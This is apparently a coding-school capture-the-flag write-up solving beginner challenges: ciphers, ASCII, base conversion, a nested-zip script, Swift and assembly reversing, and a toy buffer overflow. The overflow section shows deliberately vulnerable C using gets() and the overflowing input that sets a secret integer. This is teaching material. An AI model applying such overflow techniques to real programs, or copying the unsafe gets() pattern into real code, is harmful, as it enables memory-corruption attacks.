W4501 Capture the Flag I

From Coder Merlin
Jump to navigation Jump to search

This page will serve as a writeup for the CTF I competition problems.


ABC... It's as easy as 123...[edit]

[25 Points] Gabe passes secret notes to Gabby in class without the teacher noticing, but I managed to intercept one. The problem is, there are no words! What does this mean?
6-12-1-7 { 5-1-19-25 _ 1-19 _ 15-14-5 _ 20-23-15 _  20-8-18-5-5 }

This flag is encrypted using an A1Z26 cipher. An A1Z26 cipher simply converts each letter into the number of its position in the alphabet. For example, A is 1, B is 2, C is 3, and Z is 26. We can tell that this flag uses an A1Z26 cipher because no numbers exceed 26 and the challenge name references letters and their number counterparts. After putting the flag in an online A1Z26 decryptor we get that the flag is flag{easy_as_one_two_three}.

Ass Key[edit]

[25 Points] I stole this straight off the server’s hard drive, but it doesn’t make any sense. Maybe these numbers mean something? 0110011001101100011000010110011101111011010000010101001101000011010010010100100101011111011010010111001101011111010001010101101001111101
Hint: Computers encode legible text as binary numbers using a certain format.

This flag is the binary representation of ASCII characters. We know that it is in binary because only 0s and 1s are used, and it's likely encoded using ASCII because ASCII is the most common way to encode text. The challenge name and hint also imply that it uses ASCII. We can simply put this into an online binary to ASCII converter and we get that the flag is flag{ASCII_is_EZ}.

It's all about that base[edit]

[75 Points] The CS I students are getting really good at base conversions! But this number doesn’t look like any of the bases they’ve seen before… why don’t you convert it to decimal so the students understand it: 888888888
Hint: Look at the largest digit in the provided number.

Quantities can be represented in different ways called bases. We are used to base 10, which includes the digits 0, 1, 2, 3, 4, 5, 6, 7, 8, and 9. However, there are many other bases. For example, computers use base 2, more commonly known as binary. Base 2 only includes the digits 0 and 1. We don't know the base that 888888888 is in, but the hint implies that it is in base 9 because base 9's largest digit is 8. When using an online tool to convert from base 9 to decimal (base 10), we get that the base 10 equivalent is 387420488.

Caesar Salad[edit]

[50 Points] My letters got jumbled 3 times! Unjumble them please: iodj{glg_Mxolxv_Pdnh_Wklv_Vdodg}
Hint: The names of these challenges help…

This flag is encrypted using a Caesar cipher. This cipher shifts letters in the alphabet by a certain amount. For instance, encoding the message “hello” with a shift of 3 results in “khoor.” We know that this flag is encrypted using a Caesar cipher because the flag appears to already use letters and the challenge name references Caesar. We know that the shift is 3 because of the challenge description, but we can also brute force every possible shift if necessary. When using an online converter, we get that the flag is flag{did_Julius_Make_This_Salad}.


Extension Cord[edit]

[50 Points] My file isn’t working! Please fix it.
Hint: Computers need a way to tell different types of files apart.

The challenge also provides a file called extension_cord.txt. When we try to open extension_cord.txt, we get a lot of gibberish. This definitely is not intended to be a text file. If we change the file extension, the computer might then know what to do with it. We can start by changing the file extension to .png because PNG is a common file format and there are some hints of the PNG file header in the file's hex. When we change the file name to extension_cord.png and open it up we can see this image:

Flag from the "Extension Cord" CTF I challenge.

The flag is flag{dot_png_bro}.


[25 Points] I want to find out where PewDiePie is hiding. I managed to get his IP address, will that help?
Hint: flag{USA_Allen}

This challenge is asking us to find a location using an IP Address. This can be done easily using an online tool. After putting the IP in an online tool that gets the location from an IP Address, we get that the country is Romania and the city is Bucharest. If we format the flag the way the hint says, we get that the flag is flag{Romania_Bucharest}.

Unzip... Unzip... Unzip... Unzip...[edit]

[175 Points] 1000 zips in a zip
1000 zips in a zip
Zip one out, check it out 
999 zips in a zip
Hint: Script the unzip

The challenge also provides a file called 1000.zip.

When examining 1000.zip, we find that it contains a file called 999.zip. If we continue to unzip these files, we find a pattern in which each zip file will contain another zip file with a name one number lower than the previous. Obviously, the goal is to unzip all the nested zip files until we reach 1.zip, which will likely contain the flag. Manually unzipping the files would take too long, so we should create a script. In this case, we made a Python script in Windows:

1import os
3count = 1000
4while count > 0:
5    os.system("7z e " + str(count) + ".zip")
6    os.system("del " + str(count) + ".zip")
7    count -= 1

This script uses the 7zip program to unzip a file, then deletes the old file to avoid clutter. When the script finishes execution, we find a text file that contains flag{look_at_all_those_zips}.

Reverse Engineering[edit]

Swift Swiftly[edit]

[75 Points] Aha! You know Swift, right? Try to hack into this for me.

The challenge also provides a file called swiftSwiftly.swift.

When we open up swiftSwiftly.swift, we get the following code:

 1print("Enter secret password: ")
 2let userInput : String = readLine()!
 3let startIndex = userInput.index(userInput.startIndex, offsetBy:"flag{".count)
 4let endIndex = userInput.index(userInput.endIndex, offsetBy: -2)
 5let input = userInput[startIndex...endIndex]
 6if (checkPassword(password:String(input))) {
 7    print("Access granted.")
 8} else {
 9    print("Access denied!")
12// You'll never be able to crack this password! After all, I never typed it out...
14func checkPassword(password:String) -> Bool {
15    let arr = Array(password)
16    return password.count == 31 &&
17      arr[0]  == "s" &&
18      arr[29] == "o" &&
19      arr[4]  == "t" &&
20      arr[2]  == "i" &&
21      arr[23] == "r" &&
22      arr[3]  == "f" &&
23      arr[17] == "a" &&
24      arr[1]  == "w" &&
25      arr[7]  == "s" &&
26      arr[10] == "w" &&
27      arr[5]  == "_" &&
28      arr[9]  == "a" &&
29      arr[11] == "e" &&
30      arr[15] == "e" &&
31      arr[8]  == "_" &&
32      arr[12] == "s" &&
33      arr[20] == "_" &&
34      arr[14] == "m" &&
35      arr[6]  == "i" &&
36      arr[24] == "a" &&
37      arr[18] == "n" &&
38      arr[13] == "o" &&
39      arr[19] == "d" &&
40      arr[21] == "a" &&
41      arr[16] == "_" &&
42      arr[27] == "_" &&
43      arr[30] == "o" &&
44      arr[25] == "y" &&
45      arr[22] == "r" &&
46      arr[28] == "t" &&
47      arr[26] == "s"

The checkPassword function seems to hold the correct password in plaintext, only split into an array of its characters. We could manually reverse engineer the password by looking at the array elements one by one, or rewrite and rerun the code to print out the elements of the array. Either way, we get that the password is swift_is_awesome_and_arrays_too, which is the unformatted flag.

Avengers Assemble[edit]

[175 Points] Iron Man has developed some new code for his suit, and now he needs someone to test it. Assuming the “print” function prints the current contents of register ecx to standard output, what will the standard output be when running Iron Man’s code?
Hint: The flag will be a series of digits ( ex: flag{1234567890} )

The challenge also contains a file called avengersAssemble.asm.

avengersAssemble.asm contains this machine code:

 1section	.text
 2	global _start
 5    xor ecx, ecx
 6    cmp ebx, 0x1
 7    je L1
 8    F1:
 9    cmp ebx, 0x2
10    jne L2
11    F2:
12    cmp ebx, 0x0
13    jl L3
14    F3:
15    cmp ebx, 0x0
16    jg L4
17    jmp L8
18    L1:
19    mov ecx, msg
20    call print
21    jmp F1
22    L2:
23    mov ecx, msg2
24    call print
25    jmp F2
26    L3:
27    mov ecx, msg3
28    call print
29    jmp F3
30    L4:
31    mov ecx, msg4
32    call print
33    L8:
34    ret
37    mov ebx,0x1
38    call func
39    mov eax, 1 ;sys_exit
40    int 0x80 ;call kernel
42section	.data
44msg db '1', 0xa
45len equ	$ - msg ;length of msg
46msg2 db '2',0xa
47msg3 db '3',0xa
48msg4 db '4',0xa

The assembly program will begin in the _start section. It moves the value 0x1 into ebx and then calls func. Func contains four conditionals that may print out '1', '2', '3', or '4'. We start by using cmp to compare ebx to 0x1, and je (conditional jump if equal) will execute since 0x1 and ebx are equal. The jump will jump to L1, where we move '1' to ecx, print it out, and then return. The program will repeat this for the other three conditionals, and we find that the output is 124.

Binary Exploitation[edit]

i'm Buffer than you[edit]

[225 Points] What if the value you assign to a buffer is larger than the space allocated for it in memory? Hmm… I wonder if we could exploit this…
Hint: https://en.wikipedia.org/wiki/Buffer_overflow
Hint: If you think you are close but it’s not working, remember little endian.

The challenge also provides the files imbufferthanyou.c, imbufferthanyou.exe, and imbufferthanyou.elf. The c file contains all of the code except the print_flag function, and the exe and elf files are the executables for Windows and Linux respectively.

We can start by examining imbufferthanyou.c, which contains the following code:

 1#include <stdio.h>
 2#include <stdlib.h>
 3#include <string.h>
 4#include "flagprint.h"
 6void vuln() {
 7    int secret = 0x00000000;
 8    char buffer[16];
10    printf("Address of buffer array:   %p\n",(void*)&buffer); // Memory address of buffer array
11    printf("Address of secret integer: %p\n",(void*)&secret); // Memory address of secret integer
13    printf("Input text into buffer: ");
14    gets(buffer); // This may be a vulnerability...
16    printf("New value of secret integer: 0x%x\n", secret);
18    if(secret == 0x66667562) {
19        printf("You found the flag!\n");
20        print_flag();
21    } else {
22        printf("It looks like you didn't overwrite the secret variable or overwrote using the wrong data.");
23    }
25    exit(0);
28int main() {
29    vuln();

The vuln function appears to create two local variables, one of them an integer and the other a buffer of 16 characters. It then prints out the memory locations of these variables, which will be extremely useful. The gets function is used to put user input in the buffer, but this function is not secure because it doesn't check the bounds of the array, therefore allowing us to overflow it. It seems that we must overflow the buffer so that we override the value of the integer to be 0x66667562 and in turn run the print_flag function.

Let's run the executable. If you're using Linux make sure to make the elf file executable first using this command:

john-williams@codermerlin:~$  chmod u+x imbufferthanyou.elf

Then we can run the program using this command:

john-williams@codermerlin:~$  ./imbufferthanyou.elf

We get the following output on Windows. Notice that we entered "testing" into the buffer:

Address of buffer array:   000000000061FDD0
Address of secret integer: 000000000061FDEC
Input text into buffer: testing
New value of secret integer: 0x0
It looks like you didn't overwrite the secret variable or overwrote using the wrong data.
Helpful Hint
On a Windows machine, we run an executable using .\ instead of ./

If we subtract the buffer address from the integer address, we get a difference of 28 bytes. That means that if we input 28 bytes into the program we will then be writing to the memory for the integer. After these bytes, we need to enter a value that equals 0x66667562. 0x66667562 in ASCII is "ffub". However, we may need to reverse this depending on the endianness (learn more on W1031) of the host machine. Now that we know this, let's try running the program again on Windows but input the correct bytes.

john-williams@codermerlin:~$  .\imbufferthanyou.exe
Address of buffer array:   000000000061FDD0
Address of secret integer: 000000000061FDEC
Input text into buffer: ddddddddddddddddddddddddddddbuff
New value of secret integer: 0x66667562
You found the flag!

There we go! We overwrote the secret integer value to equal 0x66667562. The flag is flag{th@t_buff3r_aint_so_buff_n0w}.

Going Deeper

Since we are running the binary locally, that means the flag must be stored in it somewhere. The "strings" command on Linux can search for strings of text in any file. That being said, we can extract the flag string from the binary using the following command:

john-williams@codermerlin:~$  strings imbufferthanyou.elf

Designed with pride in Silicon Valley, CA, USA